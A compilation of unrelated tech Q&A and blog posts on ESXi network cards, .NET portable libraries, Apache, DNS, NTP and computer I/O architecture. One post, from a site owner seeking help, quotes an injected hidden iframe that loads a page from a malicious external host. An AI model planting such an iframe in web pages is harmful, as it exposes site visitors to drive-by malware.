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  • No compatible network card

    - by sbintcliffe
    Motherboard: Asus K8N-E Deluxe with onboard NIC (nVidia nForce) Secondary NIC: I've tried using a standard NIC (Device Manager displays this as D-Link DFE-538TX 10/100, but under manufacturer in the General tab of the properties in Windows it states Realtek Semiconductor Corp.) I have downloaded ESXi 4.0.0 build 208167 and cooked to disc. I've booted from it, the .TGZ modules load from the yellow and grey screen, the progress bar reaches to about 60% and like a second later the screen changes and I have the following information on screen; "No compatible network adapter found. Please consult the HCG." I've checked the HCG and found that my motherboard is listed. I also get the same message with the secondary NIC. Any ideas please?

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  • Announcing the MOS WCI "Community"

    - by brian.harrison
    The WCI Technical Support team are please to announce the launch of the long awaited WCI Support Community on My Oracle Support (MOS) "Community". Users can navigate to this "first stop" for WebCenter Interaction information by logging on to following this link: WCI Community (Note that this requires a valid login credential to the My Oracle Support tool). In this community you'll find a product related discussion forum moderated by Oracle WebCenter Interaction support engineers, recommended tips and tricks, links to knowledge base articles and best practices for setting up and administering up your environment. We hope you'll take a minute to have a look through the community. If you have a question about WebCenter Interaction, a comment or a suggestion regarding the content, please feel free to post it to the forum and someone will respond to your request. Think of the forum here as another method to communicate directly with the WCI Technical Support team for questions and answers to simple WCI support topics. The forum is moderated by WCI Technical Support engineers directly and we hope it will help you avoid the need to log support incidents for less complex support related questions. We encourage all of our customers, both internal and external, to participate in the forums discussions, sharing information, knowledge, best practices and in the effort to help us build a vital and vibrant "home base" for WCI users on the My Oracle Support tool. Thank you for visiting! The WebCenter Interaction Support Community Moderator Team

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  • Is this information about me as a programmer concise and good enough?

    - by Nick Rosencrantz
    I not only want you to review my resume but please tell me what you think Google means when they answered me: "We don't look at personal letters and we like your resume and we can recommend you internally but we need measurable experience. What is meant with "measurable" here? Do they mean like O(1) compared to O(n), selling an entire company, grades or what? This is what I sent: Curriculum vitae Nick Rosencrantz Competence: System development, web development Technical competence: Java, Javascript, HTML, XML, CSS, AJAX, PHP, SQL, Python Employments: 2012- Mobile Innovation AB System Developer IT consultant (Java programmer) 2011-2012 Bnano International Ltd System Developer Python programming in Google App Engine 2008-2009 Sweden Island AB System Developer Programming C++ and Java EE components 2003-2007 Studies Stockholm School of Economics During studies worked as network technician at Effnet AB 2000-2002 Jadestone AB System Developer System development in Java/J2EE. In 2001: KTH, Assistant. Teaching application server programming in Java Enterprise + weblogic + Informix. 1999-2000 Studies KTH 1996-1998 Spray.se System development, Researcher 1995-1995 Finance broker Backoffice work with financial instruments 1993-1994 Computer & Audio-Technical Systems AB Programming, sommer job Education/Courses: Stockholm School of Economics, Master of Science diploma, KTH, Computer Science undergraduate studies Languages Swedish, English, also some German and French Born 1973, Swedish citizen I also have a project-based CS which is several pages long but the above is about what I was aiming for in the beginning when I was looking for a job, now I have employment as an IT consultant in central Stockholm and I want to make my resume concise and also know what Google meant with their answer (It was a Swedish Google employee that via linkedin recruited from my Stockholm School of Economics groups since that is a small elite economics school where I took my M.Sc. and KTH is one of the largest universities in northern Europe so I sent her a link with my CV and she said she could promote me internally if I added "measurable experience" and I've been thinking for weeks what that may mean?

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  • VS2012 - How to manually convert .NET Class Library to a Portable Class Library

    - by Igor Milovanovic
    The portable libraries are the  response to the growing profile fragmentation in .NET frameworks. With help of portable libraries you can share code between different runtimes without dreadful #ifdef PLATFORM statements or even worse “Add as Link” source file sharing practices. If you have an existing .net class library which you would like to reference from a different runtime (e.g. you have a .NET Framework 4.5 library which you would like to reference from a Windows Store project), you can either create a new portable class library and move the classes there or edit the existing .csproj file and change the XML directly. The following example shows how to convert a .NET Framework 4.5 library to a Portable Class Library. First Unload the Project and change the following settings in the .csproj file: <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" /> to: <Import Project="$(MSBuildExtensionsPath32)\Microsoft\Portable \$(TargetFrameworkVersion)\Microsoft.Portable.CSharp.targets" /> and add the following keys to the first property group in order to get visual studio to show the framework picker dialog: <ProjectTypeGuids>{786C830F-07A1-408B-BD7F-6EE04809D6DB}; {FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}</ProjectTypeGuids>   After that you can select the frameworks in the Library Tab of the Portable Library:   As last step, delete any framework references from the library as you have them already referenced via the .NET Portable Subset.     [1] Cross-Platform Development with the .NET Framework - http://msdn.microsoft.com/en-us/library/gg597391.aspx [2] Framework Profiles in .NET: http://nitoprograms.blogspot.de/2012/05/framework-profiles-in-net.html

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  • New training on Power Pivot with recorded video courses

    - by Marco Russo (SQLBI)
    I and Alberto Ferrari started delivering training on Power Pivot in 2010, initially in classrooms and then also online. We also recorded videos for Project Botticelli, where you can find content about Microsoft tools and services for Business Intelligence. In the last months, we produced a recorded video course for people that want to learn Power Pivot without attending a scheduled course. We split the entire Power Pivot course training in three editions, offering at a lower price the more introductive modules: Beginner: introduces Power Pivot to any user who knows Excel and want to create reports with more complex and large data structures than a single table. Intermediate: improves skills on Power Pivot for Excel, introducing the DAX language and important features such as CALCULATE and Time Intelligence functions. Advanced: includes a depth coverage of the DAX language, which is required for writing complex calculations, and other advanced features of both Excel and Power Pivot. There are also two bundles, that includes two or three editions at a lower price. Most important, we have a special 40% launch discount on all published video courses using the coupon SQLBI-FRNDS-14 valid until August 31, 2014. Just follow the link to see a more complete description of the editions available and their discounted prices. Regular prices start at $29, which means that you can start a training with less than $18 using the special promotion. P.S.: we recently launched a new responsive version of the SQLBI web site, and now we also have a page dedicated to all videos available about our sessions in conferences around the world. You can find more than 30 hours of free videos here: http://www.sqlbi.com/tv.

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  • Website attacked with a hidden iframe (q5x.ru)

    - by Dreas Grech
    A website of mine has recently been infected with some sort of attack that involved injecting a hidden iframe, and it's source was from a site q5x.ru (do not link). A Google search didn't help me in figuring out how this attack my have took place, so I was wondering if anyone of you may have encountered this same problem? The iframe code was something of the sort: <iframe src="http://q5x.ru:8080/index.php" width=109 height=175 style="visibility: hidden"></iframe> As per request, I am running an ASP.Net website with a database, and as regards forms, it's obviously the ASP.Net form that's used for postbacks.

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  • How can you add two lines of text on a single line in Word 2010?

    - by deodorant
    Odd title, wasn't sure how to word it. Basically, I have two separate fonts I want to be on the same line, for resume purposes. My name is in a large font at the top, and I want my email and website address right-aligned directly beside it, one on top of the other. However, I want the email and website to combine to the same height as my name. Is this even possible with Word? Surely it is. Here is an awesome graphic of what I'm hoping for. Thanks! edit Seems new users can't post images. Link is here: http://i.stack.imgur.com/0gc3s.png

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  • How well will ntpd work when the latency is highly variable?

    - by JP Anderson
    I have an application where we are using some non-standard networking equipment (cannot be changed) that goes into a dormant state between traffic bursts. The network latency is very high for the first packet since it's essentially waking the system, waiting for it to reconnect, and then making the first round-trip. Subsequent messages (provided they are within the next minute or so) are much faster, but still highly-latent. A typical set of pings will look like 2500ms, 900ms, 880ms, 885ms, 900ms, 890ms, etc. Given that NTP uses several round trips before computing the offset, how well can I expect ntpd to work over this kind of link? Will the initially slow first round trip be ignored based on the much different (and faster) following messages to/from the ntp server? Thanks and Regards.

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  • How to enable mod_info in Apache?

    - by Amit Nagar
    I gone through the apache guide to enable to mod_info. As per doc: To configure mod_info, add the following to your httpd.conf file. Location /server-info SetHandler server-info /Location You may wish to use mod_access inside the directive to limit access to your server configuration information: Location /server-info SetHandler server-info Order deny,allow Deny from all Allow from yourcompany.com Location Once configured, the server information is obtained by accessing http://your.host.dom/server-info In my case the this link is not giving any info. Http 404 NOT FOUND error Is there anything I need to install as mod_info.c or something ? Is there anything i need to put as AddModule or something ? In Error log : File does not exist: /usr/local/apache2/htdocs/example1/server-info I have 3 virtual host. One of this as default which use example1 as Docroot dir. I am not sure where this page (server-info) should be ? in case of server-status, it's working fine

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  • Using SQL Source Control with Fortress or Vault &ndash; Part 1

    - by AjarnMark
    I am fanatical when it comes to managing the source code for my company.  Everything that we build (in source form) gets put into our source control management system.  And I’m not just talking about the UI and middle-tier code written in C# and ASP.NET, but also the back-end database stuff, which at times has been a pain.  We even script out our Scheduled Jobs and keep a copy of those under source control. The UI and middle-tier stuff has long been easy to manage as we mostly use Visual Studio which has integration with source control systems built in.  But the SQL code has been a little harder to deal with.  I have been doing this for many years, well before Microsoft came up with Data Dude, so I had already established a methodology that, while not as smooth as VS, nonetheless let me keep things well controlled, and allowed doing my database development in my tool of choice, Query Analyzer in days gone by, and now SQL Server Management Studio.  It just makes sense to me that if I’m going to do database development, let’s use the database tool set.  (Although, I have to admit I was pretty impressed with the demo of Juneau that Don Box did at the PASS Summit this year.)  So as I was saying, I had developed a methodology that worked well for us (and I’ll probably outline in a future post) but it could use some improvement. When Solutions and Projects were first introduced in SQL Management Studio, I thought we were finally going to get our same experience that we have in Visual Studio.  Well, let’s say I was underwhelmed by Version 1 in SQL 2005, and apparently so were enough other people that by the time SQL 2008 came out, Microsoft decided that Solutions and Projects would be deprecated and completely removed from a future version.  So much for that idea. Then I came across SQL Source Control from Red-Gate.  I have used several tools from Red-Gate in the past, including my favorites SQL Compare, SQL Prompt, and SQL Refactor.  SQL Prompt is worth its weight in gold, and the others are great, too.  Earlier this year, we upgraded from our earlier product bundles to the new Developer Bundle, and in the process added SQL Source Control to our collection.  I thought this might really be the golden ticket I was looking for.  But my hopes were quickly dashed when I discovered that it only integrated with Microsoft Team Foundation Server and Subversion as the source code repositories.  We have been using SourceGear’s Vault and Fortress products for years, and I wholeheartedly endorse them.  So I was out of luck for the time being, although there were a number of people voting for Vault/Fortress support on their feedback forum (as did I) so I had hope that maybe next year I could look at it again. But just a couple of weeks ago, I was pleasantly surprised to receive notice in my email that Red-Gate had an Early Access version of SQL Source Control that worked with Vault and Fortress, so I quickly downloaded it and have been putting it through its paces.  So far, I really like what I see, and I have been quite impressed with Red-Gate’s responsiveness when I have contacted them with any issues or concerns that I have had.  I have had several communications with Gyorgy Pocsi at Red-Gate and he has been immensely helpful and responsive. I must say that development with SQL Source Control is very different from what I have been used to.  This post is getting long enough, so I’ll save some of the details for a separate write-up, but the short story is that in my regular mode, it’s all about the script files.  Script files are King and you dare not make a change to the database other than by way of a script file, or you are in deep trouble.  With SQL Source Control, you make your changes to your development database however you like.  I still prefer writing most of my changes in T-SQL, but you can also use any of the GUI functionality of SSMS to make your changes, and SQL Source Control “manages” the script for you.  Basically, when you first link your database to source control, the tool generates scripts for every primary object (tables and their indexes are together in one script, not broken out into separate scripts like DB Projects do) and those scripts are checked into your source control.  So, if you needed to, you could still do a GET from your source control repository and build the database from scratch.  But for the day-to-day work, SQL Source Control uses the same technique as SQL Compare to determine what changes have been made to your development database and how to represent those in your repository scripts.  I think that once I retrain myself to just work in the database and quit worrying about having to find and open the right script file, that this will actually make us more efficient. And for deployment purposes, SQL Source Control integrates with the full SQL Compare utility to produce a synchronization script (or do a live sync).  This is similar in concept to Microsoft’s DACPAC, if you’re familiar with that. If you are not currently keeping your database development efforts under source control, definitely examine this tool.  If you already have a methodology that is working for you, then I still think this is worth a review and comparison to your current approach.  You may find it more efficient.  But remember that the version which integrates with Vault/Fortress is still in pre-release mode, so treat it with a little caution.  I have found it to be fairly stable, but there was one bug that I found which had inconvenient side-effects and could have really been frustrating if I had been running this on my normal active development machine.  However, I can verify that that bug has been fixed in a more recent build version (did I mention Red-Gate’s responsiveness?).

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  • Copy wrongs and Copyright

    - by Tony Davis
    Recently, a Chinese blog website copied, wholesale and without permission, a Simple-Talk article on troubleshooting locking and blocking. Our initial reaction was exasperation and anger, tempered slightly by the fact that there was, at the top, a clear link to the original, and the book from which it was extracted. On the day the copy was posted, our original article saw a 30K spike in visits, so the site clearly has a substantial following! This made us pause for thought. Indeed, we wondered whether it might not be more profitable, and certainly more enjoyable, to notify the offender of similar content and serve a "put up" notice, rather than the usual DMCA "take down" . The DMCA request, issued to protect our and our authors' assets, is a necessary but tiresome, chore. So often, simple communication and negotiation could have averted the need for it. We are, after all, in the business of presenting knowledge, information and help to the SQL Server Community. If only they had asked! Of course, one's attitude changes according to the motivation behind the copying of content. One of the motivations seems to be pure vanity; they do it to try to enhance their CV, or their company's expertise, by pretending to expertise they don't possess. There is a class of plagiariser, however, that is doing it purely for money, getting advertising revenue by attracting hapless readers to their site. Not content with stealing content, sites can invest in services that provide 'load-testing' for websites that is so realistic that even the search engines can be fooled. Stolen content, fake visitors, swindled advertisers. Zero-tolerance is really the only way of dealing with plagiarism, and action will only be completely effective once Bing, Google, and the other search engines strike out from their listings the rogue sites that refuse to take down plagiarised content. It is, after all in everyone else's interests. Cheers, Tony.

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  • Java Spotlight Episode 110: Arun Gupta on the Java EE 6 Pocket Guide @arungupta

    - by Roger Brinkley
    Interview with Arun Gupta on his new Java EE 6 Pocket Guide. Right-click or Control-click to download this MP3 file. You can also subscribe to the Java Spotlight Podcast Feed to get the latest podcast automatically. If you use iTunes you can open iTunes and subscribe with this link:  Java Spotlight Podcast in iTunes. Show Notes News Getting Started with JavaFX2 and Scene Builder Using the New CSS Analyzer in JavaFX Scene Builder JavaOne Latin America Keynotes NetBeans Podcast #62 - NetBeans Community News with Geertjan and Tinu Request for Project Nashorn (Open Source) JEP 170: JDBC 4.2 Open Sourcing: decora-compiler JPA 2.1 Schema Generation WebSocket, Java EE 7, and GlassFish Events Dec 3-5, jDays, Göteborg, Sweden Dec 4-6, JavaOne Latin America, Sao Paolo, Brazil Dec 14-15, IndicThreads, Pune, India Feature InterviewArun Gupta is a Java EE & GlassFish Evangelist working at Oracle. Arun has over 14 years of experience in the software industry working in various technologies, Java(TM) platform, and several web-related technologies. In his current role, he works very closely to create and foster the community around Java EE & GlassFish. He has participated in several standard bodies and worked amicably with members from other companies. He has been with the Java EE team since it’s inception. And since then he has contibuted to all Java EE releases.He is a prolific blogger at http://blogs.sun.com/arungupta with over 1000 blog entries and frequent visitors from all over the world reaching up to 25,000 hits/day. His new Java EE 6 Pocket Guide is now available on O’Reily What’s Cool Videos: Getting Started with Java Embedded JavaFX: Leverageing Multicore Performance JavaFX on BeagleBoard State of the Lambda: Libraries Edition FOSDEM 2013 CFP now open! The return of the Shark

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  • Point dns server to root dns servers [duplicate]

    - by Dhaksh
    This question already has an answer here: What is a glue record? 3 answers Why does DNS work the way it does? 4 answers I have setup a custom authoritative only DNS server using bind9. Its a Master ans Slave method. Assume DNS Servers are: ns1.customdnsserver.com [192.168.91.129] ==> Master ns2.customdnsserver.com [192.168.91.130] ==> Slave Now i will host few shared hosting websites in my own web server. Where i will link above Nameservers to my domains in shared hosting. My Question is: How do i tell root DNS servers about my own authoritative only DNS server? So that when someone queries for domain www.example.com and if the domain's website is hosted in my shared hosting i want root servers to point the query to my own DNS Server so that the www.example.com get resolved for IP address.

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  • How to convert an image to a .dwg file

    - by erikric
    My girlfriend is making an art project where she is having an image printed and cut out on a metal plate. The firm responsible for doing this is demanding a .dwg file (and something called polyline; some sort of setting maybe?). Neither of us have heard about this file format, and I find the information about it quite confusing. Most pages seem to link to some schetchy "FooToBarConverter" software, that I frankly don't trust. Could someone please enlighten us on what we need to do, or point to some safe and preferably free software that could do this? (An explanation of the dwg format and the polyline thing would also be much appreciated)

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  • VMWare Guest NIC Teaming

    - by Justin Popa
    We're looking to add additional bandwidth to a VM running on an ESXi cluster running 5.1. How can I team these within the VM? I suspect I need to add a second e1000 and then install some Intel software to team them. Any idea which version of Intel driver? Is there some better software to use? EDIT: Sorry, neglected some information. The guest OS is Win2k8R2. The physical NICs on the host are 1Gbps. The reason this has come up is we are seeing the VM hitting near cap on the capability of a single 1Gbps link (Usually at 100-110MBps, bursting to 130s, but I think that may just be a UI math lie) and we're interested in seeing if adding an additional NIC in a teamed setting will increase the overall throughput.

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  • Apache VirtualHost running very slow on OS X 10.7 (Lion)

    - by jwerre
    I've set up a few virtual hosts in Lion and it's running very slowly. NameVirtualHost *:80 <VirtualHost *:80> ServerName localhost DocumentRoot "/Library/WebServer/Documents" </VirtualHost> <VirtualHost *:80> ServerName dev.local DocumentRoot "/Users/me/mysite" <Directory /Users/me/mysite> Order allow,deny Allow from all </Directory> </VirtualHost> then in /etc/hosts I added 127.0.0.1 dev.local Everything works fine but it's sooooo slow — 5 or so second to reload a simple "Hello World" html page. Here's is the strange part. If I make a symbolic link of the site in my ~/Sites folder (ln -s ~/mysite ~/Sites/mysite) and navigate to http://localhost/~me/mysite It's nice and fast the way it should be.

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  • Browsers with good keyboard support

    - by egon
    What browsers have good keyboard support? That means you don't have to use the mouse so much. Or what is a good setup for browser + keyboard interaction. I know the basic keyboard shortcuts (tab switching, new tabs etc.) but I don't know a good way to switch between links and search areas - usually that means TAB, Shift-TAB one at a time. Is there maybe some plugin that'll add numbers to links and I could just do something like 12 to go to the link 12?

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  • File system loop detected in /var/named/chroot/var/named/

    - by Iko
    The problem start with a message No space left on device. After investigating a little (with google's help) I found : find: File system loop detected; /var/named/chroot/var/named' is part of the same file system loop as/var/named'. What I don't know is what to do next. I found this on centos.org : and see if the inode numbers are the same (they shouldn't be). If they are then you need to remove the /var/named/chroot/var/named/ hard link and recreate it as a directory the inode number are the same but I don't know exactly which folder to delete and what to do next thank you for any help Linux xxxxx.onlinehome-server.info 2.6.32-220.13.1.el6.x86_64 #1 SMP Tue Apr 17 23:56:34 BST 2012 x86_64 x86_64 x86_64 GNU/Linux

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  • Block diagram containing computer buses,motherboard..

    - by learnerforever
    Hi all, I am trying to understand computer architecture. In particular: - Physical view i.e. what all is packed inside the motherboard and what all outside - Conceptual view. how processor,memory,peripherals are connected. I am getting confused among various buses like local bus,PCI bus, SCSI bus,ISA bus,USB bus. I am looking for block diagrams. How is the USB port connected to processor ultimately? through PCI bus etc? Why do we have so many buses? What was it like before SCSI/IDE came? Does the diagram at : http://www.vaughns-1-pagers.com/computer/pc-block-diagram.htm look correct? It shows no connection between PCI bus and SCSI bus. Is that correct? I would greatly appreciate any other link especially of block diagrams/anatomy and not just textual writeup. Thanks,

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  • What tool can record multiple parallel stream to files of defined size?

    - by Hauke
    I would like to record record multiple audio web streams like this one in parallel to an mp3 or wma file for a duration of several days. I would like to be able to limit the file size or the duration stored in each file. The tool can be for any operating system. I do not need anything fancy like song recognition, metadata or silence detection. I haven't been able to find such a piece of software so far. Example: Tap channel "News" results in: News-090902-0000-0100.mp3, News-090902-0100-0200.mp3, etc... Who knows what tool can do this? It can be commercial software. Link in fulltext: 88.84.145.116:8000/listen.pls

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  • Partner Spotlight

    - by rituchhibber
    FADATA   Fadata officially became a WebCenter Content Specialized partner in the Adriatic region upon the successful completion of the corresponding Oracle specialization tests. ''Being recognized by Oracle and customers will greatly help our company in maintaining a high level of implementation services related to Oracle Web Center Content, as one of strategic products we are focused on. This certification, that our team is very proud of, will certainly help our company FADATA to gain additional advantage, competitiveness, and integrity in implementing Oracle Web Center Content solutions, both on current and future projects in the region'' according to Velimir Corovic and Marjan Nikolic from Fadata. Please put link www.fadata.bg, under Fadata Please also include logo after 1st sentence FISHBOWL SOLUTIONS Google Search Appliance Connector for Oracle WebCenter Content The Google Search Appliance (GSA) provides fast search for your intranet or website. Fishbowl Solutions provides a connector for the Google Search Appliance to integrate it with the Oracle WebCenter Content Server while retaining the security benefits of Oracle WebCenter Content. For more information and real customer example click here Fairview Health Services Case Study or Webinar recording SIGNUM Signum TTE, from Turkey and a Gold member of Oracle® PartnerNetwork (OPN), recently announced it has achieved OPN Specialized status for Oracle WebCenter Portal. Signum TTE which began operations in the IT sector in 2005, is an innovative software solution house focusing on two main issues. Signum TTE presents services and solutions on Oracle Middleware products and technologies and its own product "WinDesk Service Management".

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  • can't add sharepoint users from trusted domain

    - by user22215
    I have a very strange problem with our Sharepoint 2007 implementation. I went in today to grant access to a user and was greeted with "The user does not exist or is not unique." Let me start off by saying that this user is not on our domain we have a 2 way trust connecting to one of our subsidiaries. I can see the users in the people pick but can't add them into Sharepoint. This problem flared up after we had some trust issues last two days ago. So I must ask has anyone came across this error and if so what steps did you take to resolve it? This link further highlights my problem: http://social.technet.microsoft.com/forums/en-US/sharepointgeneral/thread/41265a91-191c-4952-9c8c-1e0129b9fd3a

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  • Organizations &amp; Architecture UNISA Studies &ndash; Chap 7

    - by MarkPearl
    Learning Outcomes Name different device categories Discuss the functions and structure of I/.O modules Describe the principles of Programmed I/O Describe the principles of Interrupt-driven I/O Describe the principles of DMA Discuss the evolution characteristic of I/O channels Describe different types of I/O interface Explain the principles of point-to-point and multipoint configurations Discuss the way in which a FireWire serial bus functions Discuss the principles of InfiniBand architecture External Devices An external device attaches to the computer by a link to an I/O module. The link is used to exchange control, status, and data between the I/O module and the external device. External devices can be classified into 3 categories… Human readable – e.g. video display Machine readable – e.g. magnetic disk Communications – e.g. wifi card I/O Modules An I/O module has two major functions… Interface to the processor and memory via the system bus or central switch Interface to one or more peripheral devices by tailored data links Module Functions The major functions or requirements for an I/O module fall into the following categories… Control and timing Processor communication Device communication Data buffering Error detection I/O function includes a control and timing requirement, to coordinate the flow of traffic between internal resources and external devices. Processor communication involves the following… Command decoding Data Status reporting Address recognition The I/O device must be able to perform device communication. This communication involves commands, status information, and data. An essential task of an I/O module is data buffering due to the relative slow speeds of most external devices. An I/O module is often responsible for error detection and for subsequently reporting errors to the processor. I/O Module Structure An I/O module functions to allow the processor to view a wide range of devices in a simple minded way. The I/O module may hide the details of timing, formats, and the electro mechanics of an external device so that the processor can function in terms of simple reads and write commands. An I/O channel/processor is an I/O module that takes on most of the detailed processing burden, presenting a high-level interface to the processor. There are 3 techniques are possible for I/O operations Programmed I/O Interrupt[t I/O DMA Access Programmed I/O When a processor is executing a program and encounters an instruction relating to I/O it executes that instruction by issuing a command to the appropriate I/O module. With programmed I/O, the I/O module will perform the requested action and then set the appropriate bits in the I/O status register. The I/O module takes no further actions to alert the processor. I/O Commands To execute an I/O related instruction, the processor issues an address, specifying the particular I/O module and external device, and an I/O command. There are four types of I/O commands that an I/O module may receive when it is addressed by a processor… Control – used to activate a peripheral and tell it what to do Test – Used to test various status conditions associated with an I/O module and its peripherals Read – Causes the I/O module to obtain an item of data from the peripheral and place it in an internal buffer Write – Causes the I/O module to take an item of data form the data bus and subsequently transmit that data item to the peripheral The main disadvantage of this technique is it is a time consuming process that keeps the processor busy needlessly I/O Instructions With programmed I/O there is a close correspondence between the I/O related instructions that the processor fetches from memory and the I/O commands that the processor issues to an I/O module to execute the instructions. Typically there will be many I/O devices connected through I/O modules to the system – each device is given a unique identifier or address – when the processor issues an I/O command, the command contains the address of the address of the desired device, thus each I/O module must interpret the address lines to determine if the command is for itself. When the processor, main memory and I/O share a common bus, two modes of addressing are possible… Memory mapped I/O Isolated I/O (for a detailed explanation read page 245 of book) The advantage of memory mapped I/O over isolated I/O is that it has a large repertoire of instructions that can be used, allowing more efficient programming. The disadvantage of memory mapped I/O over isolated I/O is that valuable memory address space is sued up. Interrupts driven I/O Interrupt driven I/O works as follows… The processor issues an I/O command to a module and then goes on to do some other useful work The I/O module will then interrupts the processor to request service when is is ready to exchange data with the processor The processor then executes the data transfer and then resumes its former processing Interrupt Processing The occurrence of an interrupt triggers a number of events, both in the processor hardware and in software. When an I/O device completes an I/O operations the following sequence of hardware events occurs… The device issues an interrupt signal to the processor The processor finishes execution of the current instruction before responding to the interrupt The processor tests for an interrupt – determines that there is one – and sends an acknowledgement signal to the device that issues the interrupt. The acknowledgement allows the device to remove its interrupt signal The processor now needs to prepare to transfer control to the interrupt routine. To begin, it needs to save information needed to resume the current program at the point of interrupt. The minimum information required is the status of the processor and the location of the next instruction to be executed. The processor now loads the program counter with the entry location of the interrupt-handling program that will respond to this interrupt. It also saves the values of the process registers because the Interrupt operation may modify these The interrupt handler processes the interrupt – this includes examination of status information relating to the I/O operation or other event that caused an interrupt When interrupt processing is complete, the saved register values are retrieved from the stack and restored to the registers Finally, the PSW and program counter values from the stack are restored. Design Issues Two design issues arise in implementing interrupt I/O Because there will be multiple I/O modules, how does the processor determine which device issued the interrupt? If multiple interrupts have occurred, how does the processor decide which one to process? Addressing device recognition, 4 general categories of techniques are in common use… Multiple interrupt lines Software poll Daisy chain Bus arbitration For a detailed explanation of these approaches read page 250 of the textbook. Interrupt driven I/O while more efficient than simple programmed I/O still requires the active intervention of the processor to transfer data between memory and an I/O module, and any data transfer must traverse a path through the processor. Thus is suffers from two inherent drawbacks… The I/O transfer rate is limited by the speed with which the processor can test and service a device The processor is tied up in managing an I/O transfer; a number of instructions must be executed for each I/O transfer Direct Memory Access When large volumes of data are to be moved, an efficient technique is direct memory access (DMA) DMA Function DMA involves an additional module on the system bus. The DMA module is capable of mimicking the processor and taking over control of the system from the processor. It needs to do this to transfer data to and from memory over the system bus. DMA must the bus only when the processor does not need it, or it must force the processor to suspend operation temporarily (most common – referred to as cycle stealing). When the processor wishes to read or write a block of data, it issues a command to the DMA module by sending to the DMA module the following information… Whether a read or write is requested using the read or write control line between the processor and the DMA module The address of the I/O device involved, communicated on the data lines The starting location in memory to read from or write to, communicated on the data lines and stored by the DMA module in its address register The number of words to be read or written, communicated via the data lines and stored in the data count register The processor then continues with other work, it delegates the I/O operation to the DMA module which transfers the entire block of data, one word at a time, directly to or from memory without going through the processor. When the transfer is complete, the DMA module sends an interrupt signal to the processor, this the processor is involved only at the beginning and end of the transfer. I/O Channels and Processors Characteristics of I/O Channels As one proceeds along the evolutionary path, more and more of the I/O function is performed without CPU involvement. The I/O channel represents an extension of the DMA concept. An I/O channel ahs the ability to execute I/O instructions, which gives it complete control over I/O operations. In a computer system with such devices, the CPU does not execute I/O instructions – such instructions are stored in main memory to be executed by a special purpose processor in the I/O channel itself. Two types of I/O channels are common A selector channel controls multiple high-speed devices. A multiplexor channel can handle I/O with multiple characters as fast as possible to multiple devices. The external interface: FireWire and InfiniBand Types of Interfaces One major characteristic of the interface is whether it is serial or parallel parallel interface – there are multiple lines connecting the I/O module and the peripheral, and multiple bits are transferred simultaneously serial interface – there is only one line used to transmit data, and bits must be transmitted one at a time With new generation serial interfaces, parallel interfaces are becoming less common. In either case, the I/O module must engage in a dialogue with the peripheral. In general terms the dialog may look as follows… The I/O module sends a control signal requesting permission to send data The peripheral acknowledges the request The I/O module transfers data The peripheral acknowledges receipt of data For a detailed explanation of FireWire and InfiniBand technology read page 264 – 270 of the textbook

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  • The Strange History of the Honeywell Kitchen Computer

    - by Jason Fitzpatrick
    In 1969 the Honeywell corporation released a $10,000 kitchen computer that weighed 100 pounds, was as big as a table, and required advanced programming skills to use. Shockingly, they failed to sell a single one. Read on to be dumbfounded by how ahead of (and out of touch with) its time the Honeywell Kitchen Computer was. Wired delves into the history of the device, including how difficult it was to use: Now try to imagine all that in late 1960s kitchen. A full H316 system wouldn’t have fit in most kitchens, says design historian Paul Atkinson of Britain’s Sheffield Halam University. Plus, it would have looked entirely out of place. The thought that an average person, like a housewife, could have used it to streamline chores like cooking or bookkeeping was ridiculous, even if she aced the two-week programming course included in the $10,600 price tag. If the lady of the house wanted to build her family’s dinner around broccoli, she’d have to code in the green veggie as 0001101000. The kitchen computer would then suggest foods to pair with broccoli from its database by “speaking” its recommendations as a series of flashing lights. Think of a primitive version of KITT, without the sexy voice. Hit up the link below for the full article. How To Use USB Drives With the Nexus 7 and Other Android Devices Why Does 64-Bit Windows Need a Separate “Program Files (x86)” Folder? Why Your Android Phone Isn’t Getting Operating System Updates and What You Can Do About It

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  • Windows Vista to Windows 7 Gbit LAN slow file copy

    - by ashgromnies
    I have two computers with gigabit LAN, one running Windows 7 and the other running Vista. I have a D-Link DIR-655 router, with gigabit LAN ports. I created a shared directory on the Vista computer, mapped it as a network drive on the Win 7 computer, and tried copying a 2 GB file... and it's going at 900 KB/s Yep... 900 kilobytes per second, about 7 Mb/s. Why so slow? Any ideas?

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